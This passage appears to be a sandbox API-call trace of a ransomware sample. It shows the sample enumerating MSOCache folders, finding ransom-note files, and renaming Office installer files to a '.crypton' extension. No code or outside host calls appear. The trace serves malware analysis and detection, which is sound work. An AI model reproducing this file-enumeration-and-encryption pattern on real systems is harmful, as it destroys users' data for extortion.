MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 93 [0069.582] AreFileApisANSI () returned 1 [0069.582] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 94 [0069.583] AreFileApisANSI () returned 1 [0069.583] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 93 [0069.584] FindFirstFileA (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa6d4a000, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6d4a000, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000839, cFileName=".", cAlternateFileName="")) returned 0x549750 [0069.584] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa6d4a000, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6d4a000, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="..", cAlternateFileName="")) returned 1 [0069.584] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa6d4a000, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa6d4a000, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6d4a000, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0069.584] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa6d4a000, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa6d4a000, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6d4a000, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0069.584] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa6d4a000, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa6d4a000, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6d4a000, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0069.584] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x308ae9f0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x308ae9f0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b55ce0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x265400, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="ProjectMUI.msi", cAlternateFileName="PROJEC~1.MSI")) returned 1 [0069.584] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30a2b7b0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30a2b7b0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="ProjectMUI.xml", cAlternateFileName="PROJEC~1.XML")) returned 1 [0069.584] AreFileApisANSI () returned 1 [0069.584] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79 [0069.587] AreFileApisANSI () returned 1 [0069.587] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79 [0069.587] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.crypton" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml.crypton"), dwFlags=0x2) returned 1 [0069.588] AreFileApisANSI () returned 1 [0069.588] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79 [0069.588] AreFileApisANSI () returned 1 [0069.588] GetFullPathNameW (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", nBufferLength=0x104, lpBuffer=0x4abaa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpFilePart=0x0) returned 0x4d [0069.588] GetLastError () returned 0x2 [0069.588] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30306de0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30306de0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b7cde0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x7e1dcd, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="ProjLR.cab", cAlternateFileName="")) returned 1 [0069.588] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0069.588] AreFileApisANSI () returned 1 [0069.588] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0069.623] AreFileApisANSI () returned 1 [0069.623] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0069.623] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.crypton" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.crypton"), dwFlags=0x2) returned 1 [0069.624] AreFileApisANSI () returned 1 [0069.624] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0069.624] AreFileApisANSI () returned 1 [0069.624] GetFullPathNameW (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x104, lpBuffer=0x4abaa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0069.624] GetLastError () returned 0x2 [0069.624] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0069.624] FindClose (in: hFindFile=0x549750 | out: hFindFile=0x549750) returned 1 [0069.624] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="{90140000-00BA-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~4")) returned 1 [0069.624] AreFileApisANSI () returned 1 [0069.624] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 93 [0069.629] AreFileApisANSI () returned 1 [0069.629] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 94 [0069.630] AreFileApisANSI () returned 1 [0069.630] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 93 [0069.631] FindFirstFileA (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa6dbc420, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6dbc420, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000839, cFileName=".", cAlternateFileName="")) returned 0x549750 [0069.631] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa6dbc420, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6dbc420, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="..", cAlternateFileName="")) returned 1 [0069.631] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa6dbc420, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa6dbc420, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6dbc420, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0069.631] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa6dbc420, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa6dbc420, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6dbc420, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0069.631] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa6dbc420, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa6dbc420, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6dbc420, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0069.631] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee4bb7b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x3e7e1f, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="GrooveLR.cab", cAlternateFileName="")) returned 1 [0069.631] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee3b15e0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x264400, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="GrooveMUI.msi", cAlternateFileName="GROOVE~1.MSI")) returned 1 [0069.631] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="GrooveMUI.xml", cAlternateFileName="GROOVE~1.XML")) returned 1 [0069.631] AreFileApisANSI () returned 1 [0069.631] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 78 [0069.634] AreFileApisANSI () returned 1 [0069.634] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 78 [0069.634] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.crypton" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml.crypton"), dwFlags=0x2) returned 1 [0069.635] AreFileApisANSI () returned 1 [0069.635] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 78 [0069.635] AreFileApisANSI () returned 1 [0069.635] GetFullPathNameW (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", nBufferLength=0x104, lpBuffer=0x4abaa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpFilePart=0x0) returned 0x4c [0069.635] GetLastError () returned 0x2 [0069.635] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0069.635] AreFileApisANSI () returned 1 [0069.635] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0069.637] AreFileApisANSI () returned 1 [0069.637] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0069.637] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.crypton" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml.crypton"), dwFlags=0x2) returned 1 [0069.638] AreFileApisANSI () returned 1 [0069.638] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0069.638] AreFileApisANSI () returned 1 [0069.638] GetFullPathNameW (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x104, lpBuffer=0x4abaa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0069.638] GetLastError () returned 0x2 [0069.638] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0069.638] FindClose (in: hFindFile=0x549750 | out: hFindFile=0x549750) returned 1 [0069.638] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="{90140000-0115-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~1")) returned 1 [0069.638] AreFileApisANSI () returned 1 [0069.638] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 93 [0069.641] AreFileApisANSI () returned 1 [0069.641] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 94 [0069.643] AreFileApisANSI () returned 1 [0069.643] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 93 [0069.644] FindFirstFileA (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa6de2580, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6de2580, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000839, cFileName=".", cAlternateFileName="")) returned 0x549750 [0069.644] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa6de2580, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6de2580, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="..", cAlternateFileName="")) returned 1 [0069.644] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="1033", cAlternateFileName="")) returned 1 [0069.644] AreFileApisANSI () returned 1 [0069.644] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 98 [0069.646] GetFileType (hFile=0x190) returned 0x1 [0069.646] AreFileApisANSI () returned 1 [0069.646] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 99 [0069.649] AreFileApisANSI () returned 1 [0069.649] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 98 [0069.651] FindFirstFileA (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa6e086e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6e086e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3e000638, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0069.651] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa6e086e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6e086e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3e000638, cFileName="..", cAlternateFileName="")) returned 1 [0069.651] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa6de2580, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa6de2580, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6de2580, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3e000638, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0069.652] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa6e086e0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa6e086e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6e086e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x54a678, dwReserved1=0x4ab240, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0069.652] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2020, 